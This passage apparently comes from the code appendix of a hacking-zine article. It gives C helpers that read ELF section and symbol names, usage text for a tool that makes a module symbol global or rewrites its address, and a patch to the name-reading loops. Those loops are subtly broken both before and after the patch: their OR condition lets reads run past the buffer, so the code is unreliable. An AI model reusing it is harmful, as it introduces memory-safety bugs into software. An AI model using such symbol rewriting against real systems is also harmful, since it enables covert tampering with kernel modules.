return ehdr->e_shoff + (i * ehdr->e_shentsize); } } return -1; } int ElfGetSectionName (FILE *fd, Elf32_Word sh_name, Elf32_Shdr *shstrtable, char *res, size_t len) { size_t i = 0; if (fseek (fd, shstrtable->sh_offset + sh_name, SEEK_SET) == -1) { perror("\t[-] fseek: "); exit(-1); } while ( (i < len-1) || *res != '\0' ) { *res = fgetc (fd); i++; res++; } return 0; } void ElfGetSymbolName (FILE *fd, Elf32_Word sym_name, Elf32_Shdr *strtable, char *res, size_t len) { size_t i = 0; if (fseek (fd, strtable->sh_offset + sym_name, SEEK_SET) == -1) { perror("\t[-] fseek: "); exit(-1); } while ((i < len-1) || *res != '\0') { *res = fgetc (fd); i++; res++; } return; } void usage(char *cmd) { printf("Usage: %s <option(s)> <module_name>\n", cmd); printf("Option(s):\n"); printf(" -g [symbol]\tSymbol we want to change the binding as global\n"); printf("Or:\n"); printf(" -s [symbol]\tSymbol we want to change the value (address)\n"); printf(" -v [value] \tNew value (address) for symbol\n"); return; } ---[ 9.2 - elfstrchange.patch @@ -9,6 +9,7 @@ #include <stdlib.h> #include <stdio.h> #include <elf.h> +#include <string.h> #define FATAL(X) { perror (X);exit (EXIT_FAILURE); } @@ -160,7 +161,7 @@ if (fseek (fd, shstrtable->sh_offset + sh_name, SEEK_SET) == -1) FATAL ("fseek"); - while ((i < len) || *res == '\0') + while ((i < len-1) || *res != '\0') { *res = fgetc (fd); i++; @@ -179,7 +180,7 @@ if (fseek (fd, strtable->sh_offset + sym_name, SEEK_SET) == -1) FATAL ("fseek"); - while ((i < len) || *res == '\0') + while ((i < len-1) || *res != '\0') { *res = fgetc (fd); i++; ---[ EOF